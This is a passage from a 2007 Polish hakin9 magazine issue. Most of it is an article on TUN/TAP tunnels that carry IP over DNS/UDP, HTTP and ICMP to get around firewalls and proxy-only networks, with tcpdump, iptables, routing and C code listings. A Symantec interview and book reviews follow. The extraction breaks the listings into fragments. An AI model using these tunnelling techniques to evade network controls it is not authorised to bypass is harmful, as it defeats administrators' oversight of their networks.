'$_SERVER[PHP_SELF]'

 

method=

'POST'

>

\n

<

input 

name=

'name'

><

input type=

'submit'

 

value=

'wyślij'

>

\n

<

/

form

>

";

?>

Listing 3. 

Krótka sesja sniffera tcpdump po stronie serwera

kajmany

:

/

home

/

drg

tcpdump

 

udp

 

port

 

53

tcpdump

:

 

verbose

 

output

 

suppressed

use

 

-

v

 

or

 

-

vv

 

for

 

full

 

protocol

 

decode

listening

 

on

 

eth0

link

-

type

 

EN10MB

 

(

Ethernet

)

capture

 

size

 

96

 

bytes

19

:

23

:

40.343749

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

 

[|

domain

]

19

:

23

:

40.462073

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

%

 

[

b2

&

3

=

0x3c

]

 

[

16384

a

]

 

[

13200

q

]

 

[

16390

n

]

 

[

62249

au

][|

domain

]

19

:

23

:

40.462155

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

%

 

[

b2

&

3

=

0x3c

]

 

[

16384

a

]

 

[

0

q

]

 

[

16390

n

]

 

[

9914

au

]

 

(

60

)

19

:

23

:

40.562377

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

%

 

[

b2

&

3

=

0x34

]

 

[

16384

a

]

 

[

13201

q

]

 

[

16390

n

]

 

[

62256

au

][|

domain

]

19

:

23

:

40.570868

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

%

 

[

b2

&

3

=

0x53

]

 

[

16384

a

]

 

[

26553

q

]

 

[

16390

n

]

 

[

48873

au

][|

domain

]

19

:

23

:

40.669177

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

%

 

[

b2

&

3

=

0x34

]

 

[

16384

a

]

 

[

13202

q

]

 

[

16390

n

]

 

[

62255

au

][|

domain

]

19

:

23

:

40.669193

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

%

 

[

b2

&

3

=

0x5a

]

 

[

16384

a

]

 

[

13203

q

]

 

[

16390

n

]

 

[

62216

au

][|

domain

]

19

:

23

:

40.670382

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

%

 

[

b2

&

3

=

0x34

]

 

[

16384

a

]

 

[

26554

q

]

 

[

16390

n

]

 

[

48903

au

][|

domain

]

19

:

23

:

40.671684

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

%

 

[

b2

&

3

=

0x2f4

]

 

[

16384

a

]

 

[

26555

q

]

 

[

16390

n

]

 

[

48198

au

][|

domain

]

19

:

23

:

40.788911

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

%

 

[

b2

&

3

=

0x2fc

]

 

[

16384

a

]

 

[

13204

q

]

 

[

16390

n

]

 

[

61541

au

][|

domain

]

19

:

23

:

40.819748

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

%

 

[

b2

&

3

=

0x34

]

 

[

16384

a

]

 

[

13205

q

]

 

[

16390

n

]

 

[

62252

au

][|

domain

]

19

:

23

:

40.819796

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

%

 

[

b2

&

3

=

0x34

]

 

[

16384

a

]

 

[

26556

q

]

 

[

16390

n

]

 

[

48901

au

][|

domain

]

19

:

23

:

40.922967

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

 

[

b2

&

3

=

0x4c

]

 

[

16384

a

]

 

[

13206

q

]

 

[

16390

n

]

 

[

62227

au

][|

domain

]

19

:

23

:

40.926234

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

 

[

b2

&

3

=

0xcc

]

 

[

16384

a

]

 

[

26557

q

]

 

[

16390

n

]

 

[

48748

au

][|

domain

]

19

:

23

:

41.027619

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

%

 

[

b2

&

3

=

0x34

]

 

[

16384

a

]

 

[

13207

q

]

 

[

16390

n

]

 

[

62250

au

][|

domain

]

19

:

23

:

41.031865

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

 

[

b2

&

3

=

0xc4

]

 

[

16384

a

]

 

[

13208

q

]

 

[

16390

n

]

 

[

62105

au

][|

domain

]

19

:

23

:

41.033878

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

 

[

b2

&

3

=

0x204

]

 

[

16384

a

]

 

[

26558

q

]

 

[

16390

n

]

 

[

48435

au

][|

domain

]

19

:

23

:

41.155678

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

 

[

b2

&

3

=

0x44

]

 

[

16384

a

]

 

[

13209

q

]

 

[

16390

n

]

 

[

62232

au

][|

domain

]

19

:

23

:

41.195147

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

%

 

[

b2

&

3

=

0x34

]

 

[

16384

a

]

 

[

26559

q

]

 

[

16390

n

]

 

[

48898

au

][|

domain

]

19

:

23

:

41.295696

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

 

[

b2

&

3

=

0x64

]

 

[

16384

a

]

 

[

13210

q

]

 

[

16390

n

]

 

[

62199

au

][|

domain

]

19

:

23

:

41.295893

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

%

 

[

b2

&

3

=

0x34

]

 

[

16384

a

]

 

[

26560

q

]

 

[

16390

n

]

 

[

48897

au

][|

domain

]

19

:

23

:

41.295903

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

 

[

b2

&

3

=

0x64

]

 

[

16384

a

]

 

[

26561

q

]

 

[

16390

n

]

 

[

48848

au

][|

domain

]

19

:

23

:

41.403684

 

IP

 

catharsis

.33346

 

>

 

kajmany

.

domain

:

  

17664

%

 

[

b2

&

3

=

0x74

]

 

[

16384

a

]

 

[

13211

q

]

 

[

16390

n

]

 

[

62182

au

][|

domain

]

19

:

23

:

41.404019

 

IP

 

kajmany

.

domain

 

>

 

catharsis

.33346

:

  

17664

%

 

[

b2

&

3

=

0x74

]

 

[

16384

a

]

 

[

26562

q

]

 

[

16390

n

]

 

[

48831

au

][|

domain

]

background image

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

71

oraz lokalnie, klienta:

root@catharsis:~# ./udptun -c kajmany 

-p 53 -k 1

tun_alloc() udane, tundev=tun0

Tunel gotowy. No prawie. W systemie 
pojawił się nowy interfejs – tun0:

root@catharsis:~# ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr
00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00  
POINTOPOINT NOARP MULTICAST
MTU:1500  Metric:1
RX packets:0 errors:
0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 
dropped:
0 overruns:0 carrier:0
collisions:0 txqueuelen:500 
RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
root@catharsis:~# 

i  taki  sam  na  zdalnym  serwerze. 
Trzeba  je  teraz  odpowiednio  połą-
czyć. Do tego celu użyjemy starego, 
dobrego 

ifconfiga

,  lub  nowego  lep-

szego 

ip

 z 

iproute2

:

Linux, ifconfig:

ifconfig tun0 10.0.0.1 pointopoint 

10.0.0.2 netmask 255.255.255.255

 

Linux, iproute2:
ip addr add 10.0.0.1 

Rysunek 1. 

Schemat tunelu TUN/TAP z przykładowym pakietem IP-over-UDP

Internet

84.10.175.75

80.86.83.189

10.0.0.1

10.0.0.2

Tunel

Aplikacja

Klient

Nagłówek IP w warstwie Internetu

Nagłówek IP w warstwie tunelu

Payload IP w warstwie tunelu

Zawartość pakietu przechodzącego przez

Internet w przypadku tunelu IP-over-UDP

Nagłówek UDP w warstwie Internetu

Aplikacja

Serwer

eth0

eth0

tun0

tun0

Pakiet IP

w Internecie

Pakiet IP w tunelu

Listing 5. 

sesja telnet do serwera WWW

drg

@

catharsis

:

~$ 

telnet

 

kajmany

 

80

Trying

 

192.168

.

69.7

...

Connected

 

to

 

kajmany

.

Escape

 

character

 

is

 '^

]

'.

GET

 /

form

.

php

 

HTTP

/

1.0

Connection

:

 

Keep

-

Alive

HTTP

/

1.1

 

200

 

OK

Date

:

 

Wed

22

 

Nov

 

2006

 

23

:

34

:

40

 

GMT

Server

:

 

Apache

/

2.2

.

3

 

X

-

Powered

-

By

:

 

PHP

/

4.4

.

4

-

3

Content

-

Length

:

 

108

Keep

-

Alive

:

 

timeout

=

15

max

=

100

Connection

:

 

Keep

-

Alive

Content

-

Type

:

 

text

/

html

;

 

charset

=

UTF

-

8

<

form

 

action

=

'/

form

.

php

method

=

'

POST

'

>

<

input

 

name

=

'

name

'

><

input

 

type

=

'

submit

value

=

'

wyslij

'

>

<

/

form

>

POST

 /

form

.

php

 

HTTP

/

1.0

Connection

:

 

close

Content

-

Type

:

 

application

/

x

-

www

-

form

-

urlencoded

Content

-

Length

:

 

12

name

=

value

HTTP

/

1.1

 

200

 

OK

Date

:

 

Wed

22

 

Nov

 

2006

 

23

:

34

:

47

 

GMT

Server

:

 

Apache

/

2.2

.

3

X

-

Powered

-

By

:

 

PHP

/

4.4

.

4

-

3

Content

-

Length

:

 

19

Connection

:

 

close

Content

-

Type

:

 

text

/

html

;

 

charset

=

ISO

-

8859

-

2

przes

ł

a

ł

e

ś 

value

Connection

 

closed

 

by

 

foreign

 

host

.

drg

@

catharsis

:

~$ 

background image

hakin9 Nr 2/2007

www.hakin9.org

Obrona

72

dev tun0 peer 10.0.0.2
ip link set tun0 up
FreeBSD, ifconfig:
ifconfig tun0 10.0.0.1 
10.0.0.2 netmask 0xffffffff

I po drugiej stronie tunelu analogicz-
nie, zamieniając kolejność adresów, 
czyli:

ifconfig tun0 10.0.0.2 pointopoint
10.0.0.1 netmask 255.255.255.255

Test, czy wszystko działa:

root@catharsis:~# ping -c1 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes
of data.
64 bytes from 10.0.0.2: icmp_seq=1
ttl=64 time=99.3 ms
[...]
root@catharsis:/~# ssh drg@10.0.0.2
The authenticity of host '10.0.0.2
(10.0.0.2)' can't be established.
RSA key fingerprint is 15:eb:94:e4:c9:
7e:e0:26:e9:bb:98:f1:9e:80:55:dd.
Are you sure you want to continue
connecting (yes/no)? yes
Warning: Permanently added '10.0.0.2'
(RSA) to the list of known hosts.
Password: 
Last login: Tue Nov 21 19:01:52 2006
from hawaje
drg@kajmany:~$ 

Listing 3 pokazuje przykładowy trans-
port  pakietu  zarejestrowany  narzę-
dziem  tcpdump  po  stronie  serwera. 
Mając już ostatecznie zestawiony tu-

nel, możemy po stronie serwera zor-
ganizować NAT:

kajmany:~# echo 1 > /proc/sys/net/ipv4/
ip_forward
kajmany:~# iptables -I FORWARD -j 
ACCEPT
kajmany:~# iptables -t nat -I
POSTROUTING -s 10.0.0.0/24 -o eth0
-j SNAT --to kajmany

Określić odpowiednie trasy routingu 
po stronie klienta:

root@catharsis:~# route add kajmany
domyślny.gw.aktualnego.ISP
root@catharsis:~# route delete default
root@catharsis:~# route add default 
gw 10.0.0.2

I tym oto sposobem cały nasz ruch IP 
przechodzi  przez  zdalny  serwer  kaj-
many  na  porcie  53  protokołu  UDP, 
dokonaliśmy  czyli  czegoś,  co  moż-
na nazwać IP-over-UDP bądź ściślej 
ten przypadek - IP-over-DNS. Wpraw-
dzie wzmożony ruch na usłudze DNS 
powinien  się  wydać  użytkownikowi 
co  najmniej  podejrzany,  jednak  ad-
ministratorom  mojego  ISP  1.7GB  ta-
kich pakietów w ciągu dwóch dni nie 
przeszkadzało.  Rysunek  1  przedsta-
wia schemat stworzonego przez nas 
właśnie tunelu. 

W przypadku, gdy chcemy zmianić 

hasła  do  konta  znajdującego  się  na 
naszym  serwerze,  możemy  włącza-
my bluetooth w komórce chcąc usta-
nowić  połączenie  z  Internetem.  Gdy 
jest to niemożliwe, a jesteśmy w zasię-
gu nieszyfrowanej sieci bezprzewodo-
wej i otrzymamy wszystkie ustawienia 
po DHCP, możemy spróbować się po-
łączyć z naszym serwerem po ssh. Je-
żeli na pingi odpowiada, ale nie można 
wejść ani na ssh, ani na ftp, ani na jab-
bera (www jednak działa), oznacza to, 
że  w  sieci  bezprzewodowej  wyfiltro-
wane  jest  wszystko  oprócz  portu  80 
protokołu TCP. Jeśli na jednym z na-
szych  serwerów  postawiliśmy  kiedyś 
usługę ssh, która zamiast na standar-
dowym porcie 22, nasłuchuje na por-
cie 80 – przydaje się ona właśnie na 
takie okazje. Klient ssh połączenia nie 
zestawia. Podejrzewamy, co może być 
tego przyczyną – łączymy się więc tel-

netem  na  port  80  naszej  maszyny  i 
wszystko  staje  się  jasne.  To  serwer 
proxy,  który  wtrąca  się  między  nas, 
a  serwery  WWW  w  Internecie,  speł-
niając funkcję pośrednika i jednocze-
śnie ograniczając nas faktycznie tylko 
do  ruchu  HTTP.  Jest  to  częsta  prak-
tyka  otwartych  sieci  bezprzewodo-
wych,  sieci  firmowych,  szkolnych,  bi-
bliotecznych.  Okazuje się również, że 
port 443 (HTTPS) jest również wycię-
ty, więc i sshd na innym serwerze na 
tymże  porcie  nie  pomoże.  Zapytania 
DNS przepuszczane są tylko na lokal-
ne serwery nazw uzyskane z DHCP, 
więc  wcześniejsza  idea  też  się  nie 
sprawdzi. Co więc zrobić?

IP-over-HTTP

Ustaliliśmy  wcześniej,  że  jeżeli  tyl-
ko możemy odbierać i wysyłać jakie-
kolwiek dane w sieci, możemy za po-
mocą tuneli TUN/TAP stworzyć po-
łączenie  punkt-do-punkt  ze  zdal-
nym hostem i zagwarantować sobie 
tym samym przepływ ruchu IP przez 
wirtualny interfejs tunX, a następnie, 
konfigurując koniec tunelu jako bra-
mę sieciową, zdobyć dostęp do sie-
ci osiągalnych przez zdalny kompu-
ter (np. do sieci Internet).

Przeanalizujmy  więc  wyżej  opi-

sany  przypadek.  Nie  możemy  swo-
bodnie  wysyłać  pakietów  na  żad-
ną z usług protokołu TCP  czy UDP, 
możemy  jedynie  przeglądać  strony 
WWW.  Spójrzmy  na  malutki  formu-
larz w PHP umieszczony na serwe-
rze  WWW  (Listing  4).  Jego  działa-
nie jest bardzo proste – jeżeli nie wy-
syłamy  żadnych  danych,  wyświetla 
nam formularz do wypełnienia, jeże-
li formularz wypełnimy i dane wyśle-
my, pokaże nam co wprowadziliśmy.

Przeglądarka  internetowa  chcąc 

wyświetlić  stronę  WWW  używa  po-
lecenia  GET  protokołu  HTTP,  jeżeli 
natomiast chce wysłać dane do for-

O autorze

Autor od kilku lat współpracuje z róż-
nymi firmami z branży IT jako admini-
strator  sieci,  systemu  oraz  programi-
sta, aktualnie prowadzi własną firmę. 
Stworzył wiele programów sieciowych 
głównie w języku C.

Listing 6. 

Struktura pakietu 

ICMP

struct

 

icmphdr

 

{

  

__u8

      

type

;

 

  

__u8

      

code

;

  

__u16

     

checksum

;

  

union

 

{

    

struct

 

{

        

__u16

   

id

;

        

__u16

   

sequence

;

    

}

 

echo

;

    

__u32

   

gateway

;

    

struct

 

{

        

__u16

   

__unused

;

        

__u16

   

mtu

;

    

}

 

frag

;

  

}

 

un

;

}

;

background image

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

73

mularza, używa metody POST, GET 
lub PUT (w zależności od okoliczno-
ści), my użyjemy POST. Listing 5 po-
kazuje sesję programu telnet udają-
cego przeglądarkę WWW.

Jak  widać,  za  pomocą  protoko-

łu HTTP, czy to z pośredniczącym po 
drodze  serwerze  proxy,  czy  też  bez 
niego,  możemy  odbierać  i  wysyłać 
dane.  By  zrealizować  więc  nasz  cel 
(zmienić  hasło,  wcześniej  logując  się 
przez  ssh  na  serwer),  musimy  stwo-
rzyć  dwie  aplikacje  –  aplikację  ser-
wera,  która  będzie  udawała  demona 
WWW oraz aplikację klienta, udającą 
przeglądarkę internetową. Funkcjonal-
ność tych programów będzie oczywi-
ście daleko odbiegać od funkcjonalno-
ści realnego demona i przeglądarki, je-
dyne bowiem o co się trzeba zatrosz-
czyć  to  otwarcie  interfejsu  tun  oraz 
przekazywanie  do  i  z  niego  pakietów 
przez Internet za pośrednictwem pro-
tokołu HTTP opakowując je odpowied-
nimi nagłówkami jak na Listingu 5.

Należy  jednak  zauważyć,  że  w 

przeciwieństwie  do  poprzedniego 
przykładu, aplikacja serwera musi tym 
razem kolejkować pakiety do wysłania 
z interfejsu tunelu, ponieważ może je 
wysłać tylko wtedy, kiedy klient zaini-
cjuje połączenie. Widać też, że narzut 
dodatkowych danych (nagłówki proto-
kołu  HTTP)  jest  dużo  większy  niż  w 
przypadku IP-over-UDP. Ta droga bę-
dzie  więc  zdecydowanie  mniej  efek-
tywna  niż  przypadek  poprzedni,  jed-
nak na pewno wystarczy, by zmienić 
hasło.  Istnieje  kilka  możliwości,  któ-
re  zwiększą  efektywność  tunelowa-
nia IP protokołem HTTP, jak np. me-
toda CONNECT, która otwiera bezpo-
średnie połączenie TCP z danym ho-
stem  (służąca  m.in.do  nawiązywania 
połączeń  SSL),  wysłanie  żądania  o 
niezamykanie  od  razu  połączenia  po 
przesłaniu  danych  (dodając  nagłówki 

Connection:  Keep-Alive/Proxy-Con-

nection:  Keep-Alive  oraz  Keep-Alive: 

czas  podtrzymania  połączenia)  czy 
też  utrzymywanie  jednego  tunelu  za 
pomocą kilku równoległych połączeń. 
Zapraszam  do  zapoznania  się  z  na-
rzędziem HTun, dostępnym na płycie 
dołączonej do magazynu i jego kodem 
źródłowym,  który  jest  dość  komplek-
sowym rozwiązaniem tuneli HTTP.

IP-over-ICMP

Załóżmy,  że  w  wyżej  opisanej  sy-
tuacji,  serwer  proxy  nagle  przesta-
je działać. Nie mamy więc sieci, ca-
ły ruch TCP i UDP odpada. Ale obok 
tych  dwóch  jest  jeszcze  jeden  pro-
tokół,  którego  nie  sprawdziliśmy 
–  ICMP.  Jest  on  wykorzystywany 
do  diagnozowania  sieci  (używa  go 
między innymi polecenie 

ping)

. Wy-

syłamy więc do naszego zaufanego 
serwera  pakiet  ICMP_ECHO  (

ping 

kajmany

),  a  ten  odpowiada  nam  pa-

kietem  ICMP_ECHOREPLY  –  ruch 
ICMP  nie  jest  wycięty.  Trzeba  więc 
stworzyć  aplikację,  która  będzie 
działała identycznie do tej z IP-over-
UDP, z tą różnicą, że zanim wyśle-
my dane odebrane z interfejsu tunX, 
poprzedzimy  je  pakietem  ICMP  (Li-
sting  6), natomiast po odczycie da-
nych z sieci, pominiemy nagłówki IP i 
ICMP wysyłając do deskryptora pliku 
tunelu  właściwe  dane.  Spójrzmy  na 
funkcję 

icmp _ loop() 

będącą  odpo-

wiednikiem 

udo _ loop()

  z  pierwsze-

go  programu,  znajdującą  się  w  pli-
ku icmp.c załączonego na płycie. By 
wysłać pakiet ICMP musimy wypeł-
nić strukturę 

icmp

 odpowiednimi war-

tościami, np:

icmp->type = (mode =z= MODE_LISTEN) ?
ICMP_ECHOREPLY : ICMP_ECHO;
icmp->un.echo.id = id;
icmp->un.echo.sequence = 10;
icmp->checksum = 0;

wprawdzie  pole  checksum  powin-
no zawierać sumę kontrolną pakie-
tu, jednak w pozwolimy sobie o tym 
zapomnieć. Następnie możemy wy-
słać nasz pakiet, w którym właści-
we  dane  poprzedzone  są  nagłów-
kiem ICMP:

sendto(sockfd, (char*)icmp, len,
0, (struct sockaddr*)&raddr,
sizeof(struct
sockaddr_in));

Po odebraniu pakietu z sieci, nagłó-
wek ICMP nadawcy znajduje się za-
raz za nagłówkiem IP:

icmpr = (struct icmphdr*)(packet+sizeof
(struct ip));

po sprawdzeniu, czy to dane, na któ-
re czekaliśmy, możemy zapisać je do 
deskryptora tunelu po naszej stronie, 
oczywiście z pominięciem  nagłówka 
IP oraz ICMP:

write(tunfd, packet + sizeof(struct ip)
+ sizeof(struct icmphdr), rv -
sizeof(struct ip)-sizeof(struct 

icmphdr));

Po skompilowaniu źródeł i wyłącze-
niu  obsługi  pakietów  ICMP_ECHO 
przez system (w Linuksie zrobi to dla 
nas komenda):

echo 1 > /proc/sys/net/ipv4/icmp_echo_
ignore_all ), możemy z powodzeniem
zestawić tunel IP-over-ICMP
analogicznie
jak zrobiliśmy to w przykładzie z UDP.

Podsumowanie

Jak widać, mechanizm tuneli TUN/TAP 
to  całkiem  potężne  narzędzie.  Dzięki 
niemu, w sytuacjach kiedy mamy na-
wet bardzo ograniczony dostęp do od-
ległej sieci, jesteśmy w stanie otworzyć 
sobie na nią okno poprzez wirtualny tu-
nel  IP.  Ograniczyliśmy  się  wprawdzie 
do  wykorzystywania  jako  transportu 
dla  naszych  tuneli  sieci  Internet,  jed-
nak możemy wykorzystać do tego za-
miast  karty  sieciowej  innego  sprzętu, 
na przykład interfejsu bluetooth, portu 
podczerwieni, usb, czy też samodziel-
nie  zbudowanego  urządzenia  umożli-
wiającego przesyłanie danych.

Tunele  TUN/TAP  są  jednak 

przede  wszystkim  wykorzystywane 
do  tworzenia  Wirtualnych  Sieci  Pry-
watnych  (ang.  Virtual    Private  Ne-

twork – VPN), a więc w bardzo wielu 
firmach  niezależnie  od  ich  wielkości. 
Oprogramowanie  bowiem  do  zesta-
wiania  takich  tuneli  (jak  na  przykład 
OpenVPN) umożliwia szyfrowanie ca-
łego połączenia, tak więc w momen-
cie gdy będąc w niezaufanym środo-
wisku  (np.  nieszyfrowana  sieć  bez-
przewodowa  bądź  niepewny  sprzęt, 
do  którego  się  podłączamy)  trzeba 
skorzystać z zasobów firmy, możemy 
zestawić z nią szyfrowane połączenie 
VPN – wykorzystując do tego właśnie 
omawiane w tym artykule tunele. l

background image
background image
background image

www.hakin9.org

hakin9 Nr 2/2007

76

Wywiad

hakin9:

 Jak wygląda obsługa MS Visty w 

Nortonie AV i Firewall?

Jarosław Samonek:

 Nasze produkty bę-

dą kompatybilne z Vistą i będą chroniły użyt-
kowników indywidualnych oraz firmy przed po-
jawiającymi  się  zagrożeniami.  Zarówno  udo-
stępniona niedawno nowa wersja oprogramo-
wania  dla  użytkowników  końcowych  –  Nor-

ton  AntiVirus,  jak  i  nowa  wersja  oprogramo-
wania  dedykowanego  dla  małych  firm  i  du-
żych  przedsiębiorstw  czyli  Symantec  AntiVi-

rus  Corporate  Edition  są  przygotowane  do 
współpracy z Vistą.

Ostateczne testy zostaną przeprowadzone 

w momencie pojawienia się systemu. W chwi-
li  obecnej  na  naszej  stronie  opublikowane  są 
pierwsze  wersje  testowe  dla  użytkowników, 
którzy pobrali wersję testową Visty.

h9:

  Czy  nie  boją  się  Państwo  konkurencji 

jaką jest koncern Microsoft i programy AV?

JS:

  Nie.  Symantec  jest  światowym  lide-

rem  na  rynku  programów  do  zabezpieczeń. 
Udowodniliśmy,  że  w  sytuacji,  gdy  klient  ma 
możliwość wyboru rozwiązania do zapewnie-
nia  bezpieczeństwa  swojego  komputera,  wy-
biera  rozwiązania  Symantec.  Windows  One-
Care jest od pewnego czasu obecne na ryn-

ku, a nasze rozwiązania nadal bardzo dobrze 
się sprzedają.

h9:

  Jak  wygląda  obsługa  firm  małych 

i średnich w stosunku do dużych korporacji? 

JS:

  W  przypadku  tradycyjnych  rozwiązań 

zabezpieczających, takich jak oprogramowanie 
antywirusowe czy narzędzia do tworzenia kopii 
zapasowych, zainteresowanie małych firm rze-
czywiście rośnie. Co więcej, szacuje się, że za-
interesowanie to przez długi czas się utrzyma, 
gdyż rynek w dalszym ciągu nie jest jeszcze w 
pełni nasycony. Użytkownicy albo nie dysponu-
ją jakimikolwiek programami ochronnymi, albo 
posiadają  bardzo  proste  rozwiązania,  których 
funkcjonalność  z  czasem  przestanie  być  wy-
starczająca. Rynek małych firm w Polsce jest 
przede wszystkim bardzo wrażliwy na ceny. W 
przypadku  bardziej  zaawansowanych  techno-
logii, obserwujemy znacznie większe zaintere-
sowanie  ze  strony  dużych  firm,  które  podsta-
wowe technologie już dawno wdrożyły. Firmy te 
chcą w dalszym ciągu zabezpieczać swoje śro-
dowiska i zmniejszać poziom ryzyka związany 
z zagrożeniami.

h9:

  Czy  zainteresowanie  indywidualnego 

klienta wzrasta równie intensywnie jak wzrost 
zagrożeń?

Wywiad z Jarosławem 

Samonkiem – firma 

SYMANTEC 

Od 1999 roku kieruje polskim 

oddziałem firmy Symantec. Był 

odpowiedzialny za wdrożenia 

kompleksowych rozwiązań 

bezpieczeństwa w wielu 

międzynarodowych koncernach, 

instytucjach administracji państwowej 

i przedsiębiorstwach sektora 

finansowego. Ukończył wydział 

organizacji i zarządzania w przemyśle 

na Politechnice Warszawskiej.

Jarosław Samonek

:

background image

JS:

 Wzrost zainteresowania programami zabezpie-

czającymi u klientów indywidualnych wynika między in-
nymi ze wzrostu dostępności Internetu w Polsce. Ceny 
szerokopasmowego dostępu spadają, więc osoby, które 
do tej pory nie korzystały z sieci, lub korzystały spora-
dycznie, zaczęły wykorzystywać to medium w szerszym 
zakresie, używając programów pocztowych, bankowo-
ści  on-line,  tworząc  własne  strony  WWW  itd.  Ponad-
to  rośnie  ilość  transakcji  realizowanych  drogą  elektro-
niczną, a tym samym związanych z nimi zagrożeń. Nic 
więc dziwnego, że przeciętny użytkownik jest coraz bar-
dziej zainteresowany kwestiami bezpiecznego korzysta-
nia z Internetu. 

h9:

  Ruszyła  telewizja  nowej  generacji,  telewizja  N, 

czy z Pana punktu widzenia zagrożenia połączeń wzro-
sną?

JS:

 Pojawienie się nowych technologii zawsze niesie 

ze sobą pojawienie się nowych zagrożeń.

Kiedyś nikomu nie przyszłoby do głowy, że pojawie-

nie się telefonu komórkowego będzie niosło ze sobą no-
we  zagrożenia.  Tymczasem  wystarczy  znaleźć  się  w 
miejscu publicznym z aktywnym łączem Bluetooth, a sta-
niemy się podatni na infekcję wirusem, czy też na wykra-
dzenie danych z książki telefonicznej. Tego typu przypad-
ki mają miejsce codziennie.

Coraz częściej też płacimy przez telefon, w związ-

ku z tym przejęcie kontroli nad telefonem komórkowym 
i  wysłanie  sms-ów  na  linie  płatne,  wykonywanie  połą-
czeń na numery płatne stanowi kolejne poważne zagro-
żenie.

Wprowadzenie zintegrowanej telewizji cyfrowej gdzie 

również przez sygnał cyfrowy możemy wysyłać cyfrowy 
kod  destrukcyjny  oczywiście  wiąże  się  z  zagrożeniami. 
Dzisiaj  trudno  jest  spekulować  jakie  te  zagrożenia  bę-
dą, ale twórcy wirusów są na tyle kreatywni, że z pewno-
ścią już nad tym pracują, zastanawiając się jak wykorzy-
stać tą okazję.

h9:

 Jak wygląda wzrost zainteresowań firmą Syman-

tec na rynku krajowym w stosunku do rynku zagranicz-
nego?

JS:

 W Polsce obserwujemy wyraźny trend rosnący. 

Przede wszystkim z powodu inwestycji w IT, także w za-
kresie bezpieczeństwa. Wcześniej wydatki w Polsce na 
zapewnienie  bezpieczeństwa  były  znacznie  niższe  niż 
w krajach bardziej rozwiniętych, jak chociażby kraje Eu-
ropy Zachodniej. Polska stara się tę przepaść nadrobić, 
dlatego polskie przedsiębiorstwa coraz chętniej i więcej 
inwestują w technologie IT. Do tej pory polskie firmy in-
westowały głównie w sprzęt. Obecnie widzimy, że opro-
gramowanie  zabezpieczające  jest  często  skuteczniej-
sze niż sprzęt. Z drugiej strony jest dużo aplikacji, któ-
re pozwalają nam przede wszystkim zwiększyć wydaj-
ność urządzeń, które stosujemy w sieci bądź też aplika-
cji, które są krytyczne dla naszego biznesu. Stąd zain-
teresowanie rozwiązaniami programowymi zdecydowa-
nie rośnie. l

background image

hakin9 Nr 2/2007

www.hakin9.org

78

Księgozbiór

Księgozbiór

hakin9 Nr 2/2007

www.hakin9.org

79

Księgozbiór

Niewiele  jest  pozycji  zajmujących  się  tematyką  spamu. 
Prezentowana publikacja Mikomu jest rzeczywiście książ-
ką dobrą. Co prawda, na początek czytelnik dostaje ponad 
70-cio  stronicowy  wykład  o  historii  spamu.  Czyta  się  tę 
część  lekko,  łatwo  i  przyjemnie.  Można  się  spierać,  czy 
tak zajmujące nieomal 1/5 książki wprowadzenie jest sen-
sowne, niemniej, jest to jedyna słaba strona książki. Spa-
mowi  STOP  jest  bowiem  książką  skonstruowaną  wedle 
najlepszych  metodycznych  wzorców  –  kolejne  rozdzia-
ły  są  konsekwentnie  budowane  na  wiedzy  przedstawio-
nej w poprzednich i ten kto spróbuje sobie po zagadnie-
niu „skakać” może zostać zmuszonym do zapoznania się 
z wcześniejszym materiałem. Dla tych których znuży prze-
bijanie się poprzez zawiłości tworzenia macierzy decyzyj-
nej, kodowania i dekodowania czy leksemizacji wiadomo-
ści pewnym odpoczynkiem będzie rozdział zatytułowany 
„niecne sztuczki natrętów” przedstawiający niektóre z roz-

wiązań stosowanych przez spamerów. Po tym wytchnie-
niu wracamy do zagadnień związanych z filtrami – od roz-
ważań  związanych  z  przechowywaniem  i  skalowaniem 
olbrzymich  ilości  danych  aż  po  analizę  leksykalną  czy 
algorytmy zbiorowe. Jak widać jest to publikacja przezna-
czona przede wszystkim dla pasjonatów oraz tych którzy 
z racji wykonywanych obowiązków muszą poszukać sku-
tecznych metod pozbywania się niechcianej poczty. http://

mikom.pwn.pl/5035_pozycja.html.

Tytuł: C/C++. Bezpieczne programowanie. Receptury. 

Autor: John Viega, Matt Messier 

Wydawca: Helion 

Rok: 2005 

Stron: 780 

Książka ‘C/C++...’ wydana z serii podręczników wydaw-
nictwa O’Reilly, to jedna z tych pozycji, które powinny 
należeć  do  lektur  obowiązkowych  programisty  para-
jącego  się  pisaniem  kodu  w  tych  językach.  Wiadomo 
bowiem, iż spora część luk, które inicjują nowe zagro-
żenia  w  oprogramowaniu,  ma  swoją  praprzyczynę
w  lekkomyślności,  pośpiechu  czy  zwyczajnemu  nie-
douczeniu  programisty,  które  spowodowały,  iż  zigno-
